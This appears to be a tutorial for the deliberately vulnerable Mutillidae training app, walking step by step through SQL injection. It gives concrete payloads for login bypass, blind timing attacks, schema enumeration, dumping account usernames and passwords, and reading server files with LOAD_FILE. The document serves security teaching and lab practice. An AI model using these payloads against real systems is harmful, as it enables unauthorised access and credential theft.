1. Determine if SQL injection exists
   * Try injecting characters reserved in databases to produce error messages   
       
     **single-quote  
     back-slash  
     double-hyphen  
     forward-slash  
     period**
   * If error message is produces, examine message for helpful errors, queries, database brand, columns, tables or other information.
   * If no error message present, send valid data, "true" injections ("or 1=1") and "false" injections ("and 1=0"). Look for difference in the three responses   
       
     **Technique: Blind SQL Injection - True and False Values  
     Field: username  
     True Value (Using Proxy): ' or 1=1 --  
     False Value (Using Proxy): ' and 1=0 --**
   * If no errors nor differences are produced, try timing attacks ("mysql sleep(), sql server waitfor(), oracle sleep()")   
       
     **' union Select null, null, null, sleep(5) --**
2. Determine injection types that work
   * UNION statements
     + Determine number of columns in application query. Inject NULL columns until injected query works.
     + Determine position of a varchar or equivalent column
     + Use position of found column(s) to place injected columns. Use NULL for rest
   * Inline injection
     + Usually happens when ORDER BY or HAVING clause present in application query
   * Timing injection   
       
     **Technique: Blind SQL Injection - Timing  
     Page: login.php  
     Field: username  
     Value (Using Proxy): ' union Select null, case SUBSTRING(current\_user(),1,1) when 'r' THEN sleep(5) ELSE sleep(0) END, null, null --  
     Value (Using Direct Request): username=%27%20union%20Select%20null%2C%20case%20SUBSTRING%28current\_user%28%29%2C1%2C1%29%20when%20%27r%27%20THEN%20sleep%285%29%20ELSE%20sleep%280%29%20END%2C%20null%2C%20null%20--%20&password=&login-php-submit-button=1**
3. Attempt to determine database server brand   
     
   **Technique: Direct Injection  
   Page: user-info.php  
   Field: username  
   Value (Using Proxy): ' union select null,VERSION() AS username,null,null --**
4. Formulate and test query
5. Attempt to determine database name   
     
   **Technique: Direct Injection  
   Page: user-info.php  
   Field: username  
   Value (Using Proxy): ' union select null,DATABASE() AS username,null,null --**
6. Attempt to determine schema name   
     
   **Technique: Direct Injection  
   Page: user-info.php  
   Field: username  
   Value (Using Proxy): ' union select null,table\_schema AS username,null,null from INFORMATION\_SCHEMA.TABLES--**
7. Attempt to determine table(s) names   
     
   **Technique: Direct Injection  
   Page: user-info.php  
   Field: username  
   Value (Using Proxy): ' union select null,table\_schema AS username,table\_name AS password,null from INFORMATION\_SCHEMA.TABLES--**
8. Attempt to determine column(s) names   
     
   **Technique: Direct Injection  
   Recon: Extract table columns from database using a single field  
   Page: user-info.php  
   Field: Username  
   Value: ' union select null,concat\_ws('.', table\_schema, table\_name, column\_name) AS username,null,null from INFORMATION\_SCHEMA.COLUMNS--**
9. Attempt to extract data   
     
   **Technique: Direct Injection  
   Page: user-info.php  
   Field: Username  
   Value: ' union select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts --**
10. Attempt to read files from server   
      
    **Technique: Direct Injection  
    Page: user-info.php  
    Field: username  
    Value (relative path):  
    ' union select null, LOAD\_FILE('../README') AS username, null, null--  
      
    Value (absolute path):  
    ' union select null, LOAD\_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts') AS username, null, null--  
    ' union select null, LOAD\_FILE('..\\..\\..\\..\\WINDOWS\\inf\\cpu.inf') AS username, null, null--**
11. Attempt to upload files to server
12. Attempt to execute commands. This is easier on SQL Server 2000 and 2005. MySQL has limited system command abilities. SQL Server 2008 disables system commands by default and requires them to be enabled.
13. Attempt to determine database computer name, IP address, username, version, etc.   
      
    **MySQL Functions:  
    VERSION() - MySQL server version  
    USER() - Database user issuing query  
    DATABASE() - Database on server against which query is running**
14. Attempt to pivot to database server level. This will largely depend on either being able to execute system commands via the database server or upload files to the file system. Uploading files would allow web application pages to be uploaded which can contain system calls.

**Reconnaissance**   
  
Error messages can be excellent sources of information. Developers are often naive about error messages and allow their apps to display errors rather than log the errors privately or email them to support staff. Secure sites use custom error pages that display no error messages. Finding an error message with respect to SQLi typically involves malforming the query on purpose. Special characters can get the job done. Single-quotes and parenthesis often cause errors in SQL Server, Oracle and MySQL databases. Dont forget to use different encodings of each character to see if that makes a difference. For example, try URL encoding, hex, etc. Try those first, then move onto any character that is not alpha-numeric.   
  
Hint: Go to the documentation for ANSI-SQL, Oracle, SQL Server, and MySQL to see which characters are reserved in those respective systems. (ANSI-SQL is the "common" SQL shared by all compliant databases.) In particular, determine what are the comment symbols for the respective systems.   
  
Try to find out what type of database is behind the application. Knowing if the database is Oracle, SQL Server, or MySQL can help a lot. Each has its own meta-tables, functions, system tables, system procedures, and vulnerabilities. If the database is SQL Server or MySQL, investigate the INFORMATION\_SCHEMA and understand the built-in functions/procedures. They both implement this SQL-92 standard structure. Oracle uses non-standard "Oracle Data Dictionary" views. As of the date of this document, there is an awesome listing at <http://ss64.com/orad/>.   
  
Sometimes the type of database can be infered by its behavior. For example, SQL Server and MySQL both use "--" (double-hyphen) as the comment symbols; however, MySQL requires a space betwwen the comment symbol and the next character.   
  
This statement is a valid SQL injection against either SQL Server or MySQL:   
**' union select/\*\*/name/\*\*/FROM/\*\*/INFORMATION\_SCHEMA.TABLES--**   
MySQL can be identified by whether the injection requires a space on the end. Oracle and SQL Server do not care if there is a space at the end of the injection or not. But MySQL needs the space on the end. (At least when used with PHP.)   
**' union select name FROM INFORMATION\_SCHEMA.TABLES-- (<-- space required here)**   
Determine the page capibilities. If the page displays database records, standard SQL injection is probably the better tool. If the page processes queries but does not display query output (i.e. - a login page), then blind SQLi may be the better tool.   
  
Use the page normally and observe the behavior. For example, log into Mutillidae. Does Mutillidae display any information from the database because you log-in? (No) What happens when using page user-info.php? Does any data displaywhen using page user-info.php? (Yes) The login page is likely going to be a better candidate for blind SQL injection while user-info.php is likely a better candidate for direct SQL injection.   
  
**Scanning**   
  
Get specifications on database software (Example Page: user-info.php)   
**' union select null, database(), current\_user(), version() --**   
If the meta-tables are available, they can footprint the database structure making the next steps much more productive.   
  
Check the documentation for Oracle, MySQL, and SQL Server. Determine the meta-table structures, table/view names, and column names. If the database is SQL Server or MySQL, investigate the INFORMATION\_SCHEMA and understand the built-in functions/procedures. They both implement this SQL-92 standard structure. Oracle uses non-standard "Oracle Data Dictionary" views. As of the date of this document, there is an awesome listing at <http://ss64.com/orad/>.   
  
Extract table names from database. (Example Page: user-info.php)   
**' union select null,table\_schema AS username,table\_name AS password,null from INFORMATION\_SCHEMA.TABLES--**   
Extract table columns from database using a single field (Example Page: user-info.php)   
**' union select null,concat\_ws('.', table\_schema, table\_name, column\_name) AS username,null,null from INFORMATION\_SCHEMA.COLUMNS--**   
Extract views from database (Example Page: user-info.php)   
**' union select null,concat\_ws('.', COALESCE(table\_schema,''), COALESCE(table\_name,''), COALESCE(view\_definition,'')) AS username,null,null from INFORMATION\_SCHEMA.VIEWS--**   
Extract triggers from database (Example Page: user-info.php)   
**' union select null,concat\_ws('.', trigger\_schema, trigger\_name) AS username,null,null from INFORMATION\_SCHEMA.TRIGGERS--**   
Extract routines/procs from database (Example Page: user-info.php)   
**' union select null,concat\_ws('.', routine\_schema, routine\_name, routine\_type, routine\_body) AS username,null,null from INFORMATION\_SCHEMA.ROUTINES--**   
Extract table columns from database (Example Page: user-info.php)   
**' union select null,concat\_ws('.', table\_schema, table\_name, column\_name) AS username,null,null from INFORMATION\_SCHEMA.COLUMNS union select null,concat\_ws('.', routine\_schema, routine\_name, routine\_type, routine\_body) AS username,null,null from INFORMATION\_SCHEMA.ROUTINES union select null,concat\_ws('.', table\_schema, table\_name, view\_definition) AS username,null,null from INFORMATION\_SCHEMA.VIEWS union select null,concat\_ws('.', trigger\_schema, trigger\_name) AS username,null,null from INFORMATION\_SCHEMA.TRIGGERS--**   
Blind SQL injection does not depend on seeing any resulting records. Instead, page timing can be used.   
  
Blind SQL Injection/Brute Forcing values (Example Page: login.php)   
**' union Select null, case current\_user() when 'root@localhost' THEN sleep(5) ELSE sleep(0) END, null, null --**   
**Gaining Access**   
  
Extract passwords from user table (Example Page: user-info.php)   
**' union select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts --**   
Using SQL Injection (Page: login.php)   
**' or 1=1 --**